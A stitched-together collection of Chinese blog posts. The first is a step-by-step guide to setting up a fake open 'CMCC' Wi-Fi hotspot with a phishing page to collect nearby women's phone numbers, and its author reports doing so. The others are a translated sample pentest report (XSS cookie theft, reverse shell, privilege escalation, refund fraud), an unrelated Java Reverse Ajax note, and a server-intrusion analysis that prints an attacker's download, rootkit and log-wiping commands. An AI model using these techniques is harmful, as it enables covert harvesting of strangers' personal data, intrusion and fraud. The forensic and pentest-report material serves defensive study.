如何用意念获取附近美女的手机号码

Posted on

如何用意念获取附近美女的手机号码

2013/09/09 17:05 | Metasploit

0x00 背景

那是一个漆黑的夜晚,北风凛凛,我和我的小伙伴们结伴走在回家的路上。下面……没有了,哈哈……我是标题党!

言归正传,我和我的小伙伴们住的地方离某知名艺术大学比较近,某天晚上下班回家,在开门的时候碰到几位美女,发现她们住在我们对面,使我们这群IT基友们甚是激动。巴不得凑上去对美女说一句“我是修电脑的,你家电脑慢不慢,我免费帮你弄下?”。

YY归YY,但我们这群搞IT的都是比较内敛的,怎么好意思主动搭讪,因为我们都是有身份证的人。回到屋里很不淡定,苦思冥想好几分钟;“我们不好意思问她们要,为什么不让他们主动给我们呢?”

0x01 准备

我们附近没有CMCC信号,我们就想搭建一个免费的CMCC,让她们主动来输入手机号认证,岂不更好,下面是实施计划。

2013090819053783681.jpg

准备:无线网卡(8137)、bt5、钓鱼页面

一:插入无线网卡进入BT5,把网卡启动起来,给eth0配个ip

/#ifconfig eth0 up /#ifconfig wlan0 up /#ifconfig eht0 192.168.10.2/24

2013090819074528998.jpg

二:下面要安装dhcp和配置

/#apt-get install dhcp3-server

2013090819081424128.jpg

/# vi /etc/default/dhcp3-server

INTERFACES="eth0" 修改为 INTERFACES="at0"

2013090819093997661.jpg /# vi /etc/dhcp3/dhcpd.conf

把下面贴进去,或者改成自己想要分的网段。

default-lease-time 600; max-lease-time 7200; option subnet-mask 255.255.255.0; option broadcast-address 192.168.10.255; option routers 192.168.10.2; option domain-name-servers 192.168.10.1; option domain-name "www.metasploit.cn"; subnet 192.168.10.0 netmask 255.255.255.0 { range 192.168.10.10 192.168.10.100; }

如图

2013090819102545091.jpg

三:启动apache和配置钓鱼页面

/# /etc/init.d/apache2 start /# cd /var/www/ //进入网站目录,bt5里apache默认首页是index.html /#vi index.html //修改成自己的钓鱼页面,这里为了演示,我插入基础钓鱼

BT5里面我安装的有XSS平台,这里的Ip要注意,要和刚才我们在dhcp配置文件里面分配的ip段同网段,否则别人连接进来,访问不了的;

当然如果你直接伪造成移动CMCC页面也行!

2013090819110030478.jpg

四:准备的差不多了,神器该派出来了

/# cd /pentest/exploits/set/ /# ./set

这里选择第一个set>1

1) Social-Engineering Attacks

2013090819113210713.jpg

下一步

这里选择第一个set>8

8) WirelessAccess Point Attack Vector

2013090819115743190.jpg

下一步

set:wireless>1 //选择1 启动

2013090819122771172.jpg

会提示让你编辑dhcp3-server这个文件。按Ctrl+x 直接退出就可以,因为之前我们编辑过了。

下一步

选择分配的Ip段

set:wireless>2

Enter the wireless network interface (ex. wlan0):wlan0 //选择wlan0

2013090819125527463.jpg

(忘记说一个,/# vi /pentest/exploits/set/config/set_config.py 更改为自己想要的AP名字,我这里改成CMCC)

下面是效果

2013090819133492348.jpg

连接AP不用输入密码

打开任意网站都会跳到我的钓鱼页面

2013090819140773680.jpg

手机UC登陆效果

2013090819143770651.jpg

2013090819145114971.jpg

总结:

钓了2天,钓到10多个“美女”手机号码,效果还是不错,如果伪造成cmcc登陆页面,效果会更好! (仅限技术研究,切勿用于法非用途!!!后果自负)

[技术解析]一份Archmake.COM的渗透测试报告

Posted on

[技术解析]一份Archmake.COM的渗透测试报告

前言

这是offensive security发布的一份渗透测试报告样例。offensive security 是backtrack-linux.org、exploit-db.com的缔造者。

概述

Offensive security已经被授权对Archmake的外部网站进行一次渗透测试.测试评估的方式是模拟恶意的攻击者对公司进行目的明确的渗透.在初期的信息搜集阶段,发现Archmake公司仅仅只有一个web网站和一个邮件服务器.可供攻击的目标比较少.

在对网站的安全评估中,发现它安装了一个有漏洞的WordPress插件.成功利用这个漏洞,取得了WordPress的管理权限.然后反弹了一个交互式的shell并成功提到root权限.

获取了网站服务器的权限之后,开始对内网进行渗透,经过一番尝试,成功获取到了域管理员的权限.之后对内网进行拓扑分析,发现了内网的公司数据库并成功控制.这个数据库不仅存储了订单信息和客户资料,还保存了交易的相关信息.通过控制这个系统,攻击者可以直接提取现金.

测试过程

WordPress漏洞利用

在对目标系统进行搜集的时候发现网站采用了wordpress 3.3.1搭建.我们在对WordPress进行代码审计的同时,用WPScan扫描了目标网站,发现一个不安全的插件: ./wpscan.rb --url www.Archmake.com --

enumerate p


__



\ \/ / \ / __|\ \ /\ / /| |__) | (



\ \/ \/ / | / \ \ / _|/ ` | '

\ \/\ / | |__) | (| (| | | | |\/ \/|||__/ _|\,|| || v1.1WordPress Security Scanner by ethicalhack3r.co.ukSponsored by the RandomStorm Open Source Initiative__| URL: http://www.Archmake.com/| Started on Tue Jan 24 18:44:49 2012[!] The WordPress theme in use is called "twentyeleven".[!] The WordPress "http://www.Archmake.com/readme.html" file exists.[!] WordPress version 3.3.1 identified from meta generator.[+] Enumerating installed plugins...Checking for 2892 total plugins... 100% complete.[+] We found 2 plugins:Name: relevanssiLocation: http://www.Archmake.com/wp-content/plugins/relevanssi/Directory listing enabled? Yes.Name: relevanssiLocation: http://www.Archmake.com/wp-content/plugins/relevanssi/Directory listing enabled? Yes.[+] There were 1 vulnerabilities identified from the plugin names:[!] Relevanssi 2.7.2 WordPress Plugin Stored XSS Vulnerability/* Reference: http://www.exploit-db.com/exploits/16233/[+] Finished at Tue Jan 24 18:45:30 2012

正如WPScan扫描结果展示的一样,这个Relevanssi插件存在一个XSS漏洞.成功利用这个漏洞可以窃取到管理员的cookies.

第一步,我们在Archmake网站的搜索栏中插入如下代码:

当WordPress管理员点击后台管理面板上的”User Searches”时,脚本就会执行.

远程攻击者的服务器上就可以接收到管理员的cookie.

GET/p.php?cookie=wordpress_ed8a4e5dd813c7b5d262130b08955a6a=admin%7C1328098588%7C72c3335ad1e783b75bb3d8cf9e85fc9c;%20wp-settings-time-1=1327925790;%20wordpress_test_cookie=WP+Cookie+check;%20wordpress

_logged_i n_ed8a4e5dd813c7b5d262130b08955a6a=admin%7C1328098588%7Caf1bcabca49191de76ec45e798ae5ada;%20wp-settings-1=editor%3Dhtml;%20wordpress_ed8a4e5dd813c7b5d262130b08955a6a=admin%7C1327599469%7C3ada64cf8e918c9a4bf148896181fc63;%20wordpress_logged_in_ed8a4e5dd813c7b5d262130b08955a6a=admin HTTP/1.1

然后使用firefox的cookie编辑器,修改cookie.这样就可以绕过WordPress的登录功能,获得一个管理员会话.

获取到后台管理员权限之后,整站的权限就有很多种方法可以得到了.最直接的就是修改WordPress的主题文件.

WordPress插件任意文件类型上传

取得WordPress系统的权限了,接下来可以白盒审计一下,看看是否有其他的漏洞可能被攻击者利用.这里我们审计了WordPress安装的插件.

审计插件的时候发现一个可以允许用户上传头像的插件.

通过对这个插件的源码进行审计,发现它是通过一个正则表达式来控制上传文件的类型的.

上面这段用来检查上传文件的代码是存在缺陷的.这个正则对字符串进行了一次简单的过滤,而且这是唯一的一个检测文件类型的手段.它的本意是只允许像”Myimage.png”这样的文件名.但是像”Myimage.png.php”这样的文件名也可以成功通过正则的检测,上传到服务器上.

虽然将后续攻击上传到服务器上有很多方法(前面提到过,比如修改主题).但是我们决定采用这个漏洞来上传.一是可以验证一个新的漏洞,二是这样子对服务器所做的更改最小化.

为了验证这个上传过程确实跟我们分析的一样,先上传了一个标准的图像文件作为测试.然后上传了一个配置好的反弹shell的php脚本.

执行这个脚本,在攻击者控制的远程服务器上可以获得一个交互式的shell环境.因为这个shell是以webserver的权限的运行的,所以它只有很低的权限.

Linux本地权限提升

获得了目标网站服务器的交互式shell之后,下一个目标自然是获得系统的root权限了.

目标系统的相关信息如下: Linux version 2.6.32-5-686 (Debian 2.6.32-38) (ben@decadent.org.uk) (gcc version 4.3.5 (Debian 4.3.5-4) ) /#1 SMP Mon Oct 3 04:15:24 UTC 2011

经过一番资料搜索和测试,发现这个系统存在一个race condition的缺陷.先是通过上传头像的插件上传了利用代码.

解压,加执行权限,执行利用程序,成功获得root权限.

现在,这个网站服务器已经可以作为一个恶意攻击者进行内网渗透的跳板了.如果这是一次真实的攻击,那么这台网站服务器上的任何数据都已经不可信了,因为攻击者可以随意修改控制.

长期驻守服务器

获得了服务器的管理权限之后,就需要维护一个更加稳定的连接来进行后续的渗透.

通过对该服务器的检查,发现它的ssh服务运行在22000端口.我们决定使用ssh将内网端口转发出来.这样子既方便,又不会给服务器带来额外的安全风险.

为了把对系统的变更降到最低,我们既没有添加账户,也没有修改账户口令.而是采用了SSH 基于密钥的认证方式.

之前提到过.我们自己控制的SSH服务器,ssh开在53端口.通过执行以下命令,将网站服务器的22000端口转发出来.

ssh -o 'StrictHostKeyChecking no' -R 22000:127.0.0.1:22000 -p 53 172.16.40.204 ping 127.0.0.1

此外还需要创建一个SOCKS代理,这样攻击者就可以通过这个代理来访问目标网络里的服务.

存在漏洞的splunk

当分析已经控制的网站服务器配置的时候发现一个内网网段10.10.0.x.对这个内网网段进行扫描分析,我们发现了一台splunk服务器.

splunk 低于4.2.5的版本存在一个高危的远程命令执行漏洞.通过前面介绍的SOCKS代理,我们访问到了Splunk的web界面.证实了它的版本是4.2.2

在windows上splunk一般都是以SYSTEM权限运行的.所以我们可以直接添加一个管理员用户.

这个命令执行漏洞是没有回显的,只能通过登录远程桌面来验证命令是否执行成功.

现在我们又控制了内网一台win服务器.

获得域管理权限

内网渗透,而且是windows主机.下一步一般就是要获取域管理员的权限了.我们把WCE(Windows Credential Editor)上传到splunk服务器上.WCE可以从内存中读取认证信息,然后利用这些认证信息来做一些有用的事情.

在splunk服务器上执行wce.exe,成功从内存中获取到了域管理员的token.

有了这些认证信息,就可以很容易的获取一个域管理员权限的shell.

然后利用这个shell运行终端管理(Microsoft Management Console).攻击者就或得了域的控制权限.

数据库数据利用

控制splunk服务器之后,在它的本地文件系统中发现了一个csv文件.

分析发现这是一个从数据库中导出的客户信息的文件.

1

很显然,应该是exportcsv.exe这个程序导出的数据库信息.用OD对这个程序进行了分析,发现它直连了一个MS SQL server.连接的认证信息直接编码在了程序里面.

利用获取到的认证信息可以直连到数据库,从而获得了控制这个数据库所有数据的权限.

导出数据库的数据进行分析.发现了大量客户的信息,包括用户ID,姓名,邮件,电话,加密的密码和其他信息.

密码是用md5加密的.将这些hash导入我们维护的密码破解器进行破解.一共导入了1000个hash,22秒后,成功破解了996个.(话外音:这是什么节奏啊….)

控制Archmake的交易

在对数据库进行深入分析的时候我们注意到有很多表的内容会定期更新.通过对这些表的监控和分析发现,原来这是跟订单有关的表.这些订单的信息会定期的更新到数据库里.一段时间以后,会根据”Category”字段的不同进行不同的处理.

经过对数据库监控和在数据库中添加一些测试数据,最后总结除了Categories字段的含义:

交易的类型一确定,相关的信息就会插入到这个表里.我们发现如果插入一个有效的用户ID,用户信息卡信息填攻击者自己控制的信用卡,交易类型选4(4是退款).就可以退任意数额的钱到攻击者的信用卡账户了.这个已经在可控的环境下被证实了.

原文下载 9 0您已评价!

DWR Reverse Ajax功能实践的要点

Posted on

DWR Reverse Ajax功能实践的要点

DWR Reverse Ajax功能实践的要点

Reverse Ajax主要是在BS架构中,从服务器端向多个浏览器主动推数据的一种技术。它的一种实现就是客户端向服务器请求后,服务器不立即回应,从而导致一个http长连接,等到有更新数据的时候,再利用这个连接“主动”向客户端回送。 如果是初次接触,那一定要看下这篇文章 其中,详述了这种技术和JETTY服务器Continuations功能结合时的强大性能:运行在非阻塞方式下,当多个客户端请求时不会占用过多线程。 最后,此文申明DWR的实现已经天然使用了JETTY这一功能。所以使用DWR还是非常有好处的。如何使用及示例上面这篇文章已经有说明,下面就以我实际使用中碰到的问题和要点做个说明。 首先,说一下代码的组织和声明。 将使用到Reverse Ajax的代码归入一个类,比如是NotifyClient,并用spring的bean来声明。在将要用到这个类的地方(NodeSvcImpl类),也通过成员变量引入: 然后在dwr.xml里这样声明: 其次一个要点是,如果你不是在DWR所开的线程中使用Reverse Ajax,那WebContextFactory.get()会返回空,这是因为只有DWR自己的线程才会初始化它。那如果你是在DWR之外使用,比如说收到JMS消息,或者UDP消息后,想通知所有客户端,你就要用到ServerContext。 要得到ServerContext,就需要用到spring的ServletContextAware接口,下面是完整代码: package com.hhh.nms.remote; import org.apache.log4j.Logger; import javax.servlet.ServletContext; import org.springframework.web.context.ServletContextAware; import java.util.Collection; import org.directwebremoting.ScriptBuffer; import org.directwebremoting.ScriptSession; import org.directwebremoting.WebContext; import org.directwebremoting.WebContextFactory; import org.directwebremoting.ServerContext; import org.directwebremoting.ServerContextFactory; import org.directwebremoting.proxy.dwr.Util; public class NotifyClient implements ServletContextAware { static Logger logger = Logger.getLogger (NotifyClient.class.getName()); private ServletContext servletContext = null; public void setServletContext( ServletContext servletContext ) { this.servletContext = servletContext; } public int serviceUpdate (String str1, String str2) { logger.info ("entered"); logger.info ("WebContext1"+servletContext); ServerContext ctx = ServerContextFactory.get(servletContext ); // Generate JavaScript code to call client-side // WebContext ctx = WebContextFactory.get(); logger.info ("WebContext"+ctx); if (ctx != null) { //String currentPage = ctx.getCurrentPage(); //logger.info ("current page:" + currentPage); ScriptBuffer script = new ScriptBuffer(); script.appendScript("updatePoint(") .appendData(str1) .appendScript(",") .appendData (str2) .appendScript(");"); // Push script out to clients viewing the page Collection sessions = ctx.getScriptSessionsByPage("/ebnms/index.eb?do=dwrtest"); logger.info ("jsp session size:" + sessions.size ()); // or Collection sessions2 = ctx.getAllScriptSessions (); logger.info ("all session size:" + sessions2.size ()); for (ScriptSession session : sessions2) { session.addScript(script); } } return 0; } } 另外,ScriptBuffer的appendScript方法是插入原始字串,appendData会根据参数类型做相应转换。

http://www.blogjava.net/alwayscy/archive/2007/11/01/157552.html

他们设置了哪些标签:

WEB开发

谁收藏了这个网址:

conanpaul收录

使用标签:Web开发,时间:2007-11-2 9:34:36 | 相关网摘 Reverse Ajax主要是在BS架构中,从服务器端向多个浏览器主动推数据的一种技术。它的一种实现就是客户端向服务器请求后,服务器不立即回应,从而导致一个http长连接,等到有更新数据的时候,再利用这个连接“主动”向客户端回送。 如果是初次接触,那一定要看下这篇文章 其中,详述了这种技术和JETTY服务器Continuations功能结合时的强大性能:运行在非阻塞方式下,当多个客户端请求时不会占用过多线程。 最后,此文申明DWR的实现已经天然使用了JETTY这一功能。所以使用DWR还是非常有好处的。如何使用及示例上面这篇文章已经有说明,下面就以我实际使用中碰到的问题和要点做个说明。 首先,说一下代码的组织和声明。 将使用到Reverse Ajax的代码归入一个类,比如是NotifyClient,并用spring的bean来声明。在将要用到这个类的地方(NodeSvcImpl类),也通过成员变量引入: 然后在dwr.xml里这样声明: 其次一个要点是,如果你不是在DWR所开的线程中使用Reverse Ajax,那WebContextFactory.get()会返回空,这是因为只有DWR自己的线程才会初始化它。那如果你是在DWR之外使用,比如说收到JMS消息,或者UDP消息后,想通知所有客户端,你就要用到ServerContext。 要得到ServerContext,就需要用到spring的ServletContextAware接口,下面是完整代码: package com.hhh.nms.remote; import org.apache.log4j.Logger; import javax.servlet.ServletContext; import org.springframework.web.context.ServletContextAware; import java.util.Collection; import org.directwebremoting.ScriptBuffer; import org.directwebremoting.ScriptSession; import org.directwebremoting.WebContext; import org.directwebremoting.WebContextFactory; import org.directwebremoting.ServerContext; import org.directwebremoting.ServerContextFactory; import org.directwebremoting.proxy.dwr.Util; public class NotifyClient implements ServletContextAware { static Logger logger = Logger.getLogger (NotifyClient.class.getName()); private ServletContext servletContext = null; public void setServletContext( ServletContext servletContext ) { this.servletContext = servletContext; } public int serviceUpdate (String str1, String str2) { logger.info ("entered"); logger.info ("WebContext1"+servletContext); ServerContext ctx = ServerContextFactory.get(servletContext ); // Generate JavaScript code to call client-side // WebContext ctx = WebContextFactory.get(); logger.info ("WebContext"+ctx); if (ctx != null) { //String currentPage = ctx.getCurrentPage(); //logger.info ("current page:" + currentPage); ScriptBuffer script = new ScriptBuffer(); script.appendScript("updatePoint(") .appendData(str1) .appendScript(",") .appendData (str2) .appendScript(");"); // Push script out to clients viewing the page Collection sessions = ctx.getScriptSessionsByPage("/ebnms/index.eb?do=dwrtest"); logger.info ("jsp session size:" + sessions.size ()); // or Collection sessions2 = ctx.getAllScriptSessions (); logger.info ("all session size:" + sessions2.size ()); for (ScriptSession session : sessions2) { session.addScript(script); } } return 0; } } 另外,ScriptBuffer的appendScript方法是插入原始字串,appendData会根据参数类型做相应转换。

网站简介广告服务网站地图帮助联系方式诚聘英才English问题报告 北京百联美达美数码科技有限公司 版权所有 京 ICP 证 020026 号 Copyright © 2000-2009, CSDN.NET, All Rights Reserved

一次服务器被入侵后的分析

Posted on

一次服务器被入侵后的分析

litdg @ 系统安全 2013-09-11

最近有个朋友让我去帮他看一下他的linux服务器.说是apache启动不了,有很多诡异的情况.后来证明绝不是apache启动不了这么简单.

登上服务器之后随便看了下,最先引起我注意的是”ls”命令的输出:

lars@server1:~$ ls ls: invalid option -- h Try `ls --help' for more information.

为什么”ls”默认加了”-h”参数呢?我用”alias”命令看了一下,然后取消了这个别名之后”ls”就工作正常了.

lars@server1:~$ alias ls alias ls='ls -sh --color=auto' lars@server1:~$ unalias ls lars@server1:~$ ls backup lars@server1:~$

虽然很奇怪,不过我的首要任务是先把apache启动起来,等过会再仔细研究这个问题.

lars@server1:~$ sudo /etc/init.d/apache2 start Password: /* Starting apache 2.0 web server... (2): apache2: could not open error log file /var/log/apache2/error.log. Unable to open logs ...fail!

纳尼?赶紧去”/var/log/”目录一看,果然”apache2/”文件夹不见了.而且这个目录下其他的文件夹,比如”mysql/”,”samba/”也都不见了.一定是哪里出错了.会不会是我朋友不小心删掉了呢,他跟我说绝对没有.然后我用root登录进去准备修复日志丢失的问题.

lars@server1:~$ sudo -i Password: root@server1:~/# ls ls: unrecognized prefix: do ls: unparsable value for LS_COLORS environment variable total 44 4 . 4 .bashrc 4 .ssh 4 .. 4 .lesshst 8 .viminfo 8 .bash_history 4 .profile 4 .vimrc

很不幸的发现,”ls”又出问题了.同样,用”alias”命令:

root@server1:~/# alias ls alias ls='ls -sa --color=auto' root@server1:~/# unalias ls root@server1:~/# ls root@server1:~/#

这个时候,我才意识到问题的严重性.”ls”奇怪的举动和”/var/log/”大量日志被删除让我怀疑服务器是否被入侵了.当我看到root目录下的”.bash_history”时,就已经可以确定被入侵了.

root@server1:~/# cat -n .bash_history ... 340 w 341 cd /var 342 wget http://83.19.148.250/~matys/pliki/shv5.tar.gz 343 tar -zxf shv5.tar.gz 344 rm -rf shv5.tar.gz 345 mv shv5 .x 346 cd .x 347 ./setup zibi.joe.149 54098 348 passwd 349 passwd 350 ps aux 351 crontab -l 352 cat /etc/issue 353 cat /etc/passwd 354 w 355 who 356 cd /usr/lib/libsh 357 ls 358 hide + 359 chmod +x hide 360 hide + 361 ./hide + 362 cd /var/.x 363 mkdir psotnic 364 cd psotnic 365 wget http://83.19.148.250/~matys/pliki/psotnic0.2.5.tar.gz 366 tar -zxf psotnic0.2.5.tar.gz 367 rm -rf psotnic0.2.5.tar.gz 368 ls 369 mv psotnic-0.2.5-linux-static-ipv6 synscan 370 ./synscan 371 vi conf 372 vi conf1 373 mv synscan smbd 374 smbd -c conf 375 ls 376 ps aux 377 ls 378 ./smbd -c conf 379 ./smbd -c conf1 380 ./smbd conf 381 ./smbd conf1 382 ./smbd -a conf conf1 383 rm -rf conf.dec 384 rm -rf conf1.dec 385 cd /usr/lib/libsh 386 ./hide + 387 exit ... 425 ssh ftp@62.101.251.166 426 w 427 ls 428 ls 429 cd /var/.x 430 ls 431 cd psotnic/ 432 ls 433 rm -rf /var/log//* 434 exit 435 ls 436 cd /var/.x/psotnic/ 437 ls 438 vi conf2 439 ./smbd -c conf2 440 ./smbd conf2 441 ./smbd -a conf conf1 conf2 442 rm -rf conf2.dec 443 cd .. 444 ls 445 cd /usr/lib/libsh 446 hide + 447 ./hide + 448 exit 449 ps aux 450 cd /var/.x 451 ls 452 ls 453 cd psotnic/ 454 ls 455 cat pid.MastaH 456 kill -9 2030 457 ./synscan -a conf conf1 458 ./smbd -a conf conf1 459 cd /usr/lib/libsh 460 ./hide +

Woht!这个系统已经被入侵了.这实在是令人激动的一件事情,不过很显然,我的朋友不这么想.这个入侵者犯了一个很基本的错误,没有清除”.bash_history”文件.所以他/她可能在其他的地方也留下了一些蛛丝马迹.接下来就是详细的分析一下这次入侵.

通过bash history我们得到了大量的信息.先来看一下”/var/.x”下面隐藏了什么和命令”setup zibi.joe.149 54098″的作用吧.

root@server1:/var/.x/# file setup setup: Bourne-Again shell script text executable root@server1:/var/.x/# wc -l setup 825 setup root@server1:/var/.x/# head -17 setup /#!/bin/bash /# /# shv5-internal-release /# by: PinT[x] April/2003 /# /# greetz to: /# /# [/] SH-members: BeSo_M, grass^, toolman, nobody, niceboy, armando99 /# C00L|0, GolDenLord, Spike, zion ... /# [/] Alba-Hack : 2Cool, heka, TheMind, ex-THG members ... /# [/] SH-friends: mave, AlexTG, Cat|x, klex, JinkS ... /# [/] tC-members: eksol, termid, hex, keyhook, maher, tripod etc.. /# [/] And all others who diserve to be here but i forgot /# [/] them at the moment ! /# /# PRIVATE ! DO NOT DISTRIBUTE /censored/EZ !

“setup”这个脚本是rootkit shv5的安装脚本.它安装了一个修改过的ssh后门–”/bin/ttyload”,然后把它加到了”/etc/inittab”,这样每次重启后就会自动启动.(相关部分的脚本如下:)

mv $SSHDIR/sshd /sbin/ttyload chmod a+xr /sbin/ttyload chmod o-w /sbin/ttyload touch -acmr /bin/ls /sbin/ttyload chattr +isa /sbin/ttyload kill -9 pidof ttyload >/dev/null 2>&1 .... /# INITTAB SHUFFLING chattr -isa /etc/inittab cat /etc/inittab |grep -v ttyload|grep -v getty > /tmp/.init1 cat /etc/inittab |grep getty > /tmp/.init2 echo "/# Loading standard ttys" >> /tmp/.init1 echo "0:2345:once:/usr/sbin/ttyload" >> /tmp/.init1

它也替换了一些linux的标准命令.

/# Backdoor ps/top/du/ls/netstat/etc.. cd $BASEDIR/bin BACKUP=/usr/lib/libsh/.backup mkdir $BACKUP ... /# ls ... chattr -isa /bin/ls cp /bin/ls $BACKUP mv -f ls /bin/ls chattr +isa /bin/ls

这样子就可以解释为什么”ls”命令输出那么奇怪了.

“.backup”文件夹保存了被替换之前的命令程序.

root@server1:/var/.x/# ls -l /usr/lib/libsh/.backup/ total 552 -rwxr-xr-x 1 root root 126276 Dec 24 22:58 find -rwxr-xr-x 1 root root 59012 Dec 24 22:58 ifconfig -rwxr-xr-x 1 root root 77832 Dec 24 22:58 ls -rwxr-xr-x 1 root root 30388 Dec 24 22:58 md5sum -rwxr-xr-x 1 root root 99456 Dec 24 22:58 netstat -rwxr-xr-x 1 root root 65492 Dec 24 22:58 ps -rwxr-xr-x 1 root root 14016 Dec 24 22:58 pstree -rwxr-xr-x 1 root root 50180 Dec 24 22:58 top

看了一下时间戳,居然是在圣诞节.

很显然,原始的”ls”和后门安装的”ls”是不一样的.他们的md5对比如下: root@server1:~/# md5sum /usr/lib/libsh/.backup/ls /bin/ls eef7ca9dd6be1cc53bac84012f8d1675 /usr/lib/libsh/.backup/ls 0a07cf554c1a74ad974416f60916b78d /bin/ls root@server1:~/# file /bin/ls /bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked (uses shared libs), for GNU/Linux 2.0.0, stripped root@server1:~/# file /usr/lib/libsh/.backup/ls /usr/lib/libsh/.backup/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked (uses shared libs), for GNU/Linux 2.6.0, stripped

这个rootkit(“sh5.tar.gz”)是从下面的地址下载的.

root@server1:~/# dig +short -x 83.19.148.250 4lo.bydg.pl.

这是一个波兰的ip,从这个ip上没有得到更多的信息.不过这个入侵者依然犯了几个严重的错误.

这是运行”setup”命令的截图:(在服务器上的沙盒里运行的)

所以”zibi.joe.149″是后门的密码,”54098″是端口号.这是一个来自ssh.com的就版本的sshd.测试截图如下:

安装完后门之后,下一个步骤就是装一个irc-bot,让服务器变成僵尸网络中的一员.”psotnic0.2.5.tar.gz”就是来达到这个目的的.入侵者解压这个包之后把 irc-bot重命名为”smbd”,来达到隐藏的目的.

然后,他创建了两个配置文件.文件中包含irc服务器和需要加入的频道.配置文件是加密过的,而且明文的配置文件被删掉了.

371 vi conf 372 vi conf1 .... 378 ./smbd -c conf 379 ./smbd -c conf1 380 ./smbd conf 381 ./smbd conf1 382 ./smbd -a conf conf1

让我们执行一下382这条命令,看看会发生什么. root@server1:/var/.x/psotnic/# ./smbd -a conf conf1 Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49) Copyright (C) 2003-2005 Grzegorz Rusin [+] Adding: //10 / / / / cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1 [+] Adding: //10 / / / / cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1 [+] Added 2 psotnics to cron

哇!它添加了cron定时任务.赶紧看一看:

root@server1:/var/.x/psotnic/# crontab -l //10 / / / / cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1 //10 / / / / cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1

接下来,我杀掉这两个恶意的smbd进程,禁用cron任务.在另一个shell中运行了tcpdump,然后手动启动了这两个irc-bot进程: root@server1:~/# cd /var/.x/psotnic; ./smbd conf Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49) Copyright (C) 2003-2005 Grzegorz Rusin [/] Acting as LEAF [+] Config loaded [+] Going into background [pid: 5724] root@server1:/var/.x/psotnic/# ./smbd conf1 Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49) Copyright (C) 2003-2005 Grzegorz Rusin [/] Acting as LEAF [+] Config loaded [+] Going into background [pid: 5727] root@server1:/var/.x/psotnic/#

用”ps”命令(后门替换过的)可以看到这两个进程.这也是为什么入侵者需要通过改名字来隐藏进程.

root@server1:/var/.x/psotnic/# ps axuw | grep smb root 3799 0.0 0.4 8592 2156 ? S 11:00 0:00 /usr/sbin/smbd -D root 3808 0.0 0.1 8592 896 ? S 11:00 0:00 /usr/sbin/smbd -D root 5724 0.0 0.1 1648 772 pts/2 S 12:47 0:00 ./smbd conf root 5727 0.0 0.1 1640 764 pts/2 S 12:47 0:00 ./smbd conf1

最开始两个是真正的samba进程,后面两个是irc-bot,让我们用”strace”命令来看看它做了什么: root@server1:~/# strace -p 5727 ... connect(3, {sa_family=AF_INET, sin_port=htons(9714), sin_addr=inet_addr("83.18.74.235")}, 16) = -1 EINPROGRESS (Operation now in progress) ... connect(4, {sa_family=AF_INET, sin_port=htons(6667), sin_addr=inet_addr("195.159.0.92")}, 16) = -1 EINPROGRESS (Operation now in progress)

可以看到它尝试连接ip 83.18.74.235的9714端口和195.159.0.92的6667端口:

root@server1:~/# dig +short -x 83.18.74.235 manhattan.na.pl. root@server1:~/# dig +short -x 195.159.0.92 ircnet.irc.powertech.no.

又是一个波兰的ip.另外一个ip,”ircnet.irc.powertech.no”是”irc.powertech.nof”的别名.是挪威一个著名的irc服务器.

tcpdump抓到了连接irc服务器的流量.正如下面的内容显示,它连接到了”irc.powertech.no”,加入了”/#aik”频道. :irc.powertech.no 001 578PAB9NB :Welcome to the Internet Relay Network 578PAB9NB!~op@ti231210a080-3666.bb.online.no :irc.powertech.no 002 578PAB9NB :Your host is irc.powertech.no, running version 2.11.1p1 :578PAB9NB!~op@ti231210a080-3666.bb.online.no JOIN :/#aik :irc.powertech.no 353 578PAB9NB @ /#aik :578PAB9NB kknd raider brandyz jpi conf xerkoz IpaL vvo :irc.powertech.no 366 578PAB9NB /#aik :End of NAMES list. :irc.powertech.no 352 578PAB9NB /#aik ~op ti231210a080-3666.bb.online.no irc.powertech.no 578PAB9NB G :0 op - GTW :irc.powertech.no 352 578PAB9NB /#aik ~kknd ti231210a080-3666.bb.online.no irc.hitos.no kknd H :2 kknd - GTW :irc.powertech.no 352 578PAB9NB /#aik ~raider mobitech-70.max-bc.spb.ru /.dotsrc.org raider G :4 raider - GTW :irc.powertech.no 352 578PAB9NB /#aik ~brandyz mobitech-70.max-bc.spb.ru /.dotsrc.org brandyz G :4 brandyz - GTW :irc.powertech.no 352 578PAB9NB /#aik ~jpi p3124-ipad309sasajima.aichi.ocn.ne.jp /.jp jpi G :8 jpi - GTW :irc.powertech.no 352 578PAB9NB /#aik ~conf p3124-ipad309sasajima.aichi.ocn.ne.jp /.jp conf G :7 conf - GTW :irc.powertech.no 352 578PAB9NB /#aik ~xerkoz p3124-ipad309sasajima.aichi.ocn.ne.jp /.jp xerkoz H :7 xerkoz - GTW :irc.powertech.no 352 578PAB9NB /#aik lm campus19.panorama.sth.ac.at /.at IpaL H :5 .LaPi.9@.IRCNet.. :irc.powertech.no 352 578PAB9NB /#aik ~vvo ppp86-7.intelcom.sm /*.tiscali.it vvo H :6 vvo - GTW :irc.powertech.no 315 578PAB9NB /#aik :End of WHO list. 这些仅仅是加入/#aik频道,并开始监听该频道所有成员的一些原始网络流量.我决定自己进入这个频道看看.令我惊讶的是不需要任何密码我就进来了. 17:43 -!- viper42 [~viper42@trinity.gnist.org] has joined /#aik 17:43 [Users /#aik] 17:43 [ 578PAB9NL] [ conf] [ jpi ] [ raider ] [ vvo ] 17:43 [ brandyz ] [ IpaL] [ kknd] [ viper42] [ xerkoz] 17:43 -!- Irssi: /#aik: Total of 10 nicks [0 ops, 0 halfops, 0 voices, 10 normal] 17:43 -!- Irssi: Join to /#aik was synced in 1 secs

我发现我朋友的服务器使用的昵称是”578PQB9NB”,还有一些其他的服务器也在这里.这些僵尸服务器应该是正在等待着我们的入侵者加入频道发布命令.或者他已经潜藏在这里了.我注意到,所有的昵称都有一个后缀”\/*-GTW”,只有一个没有:

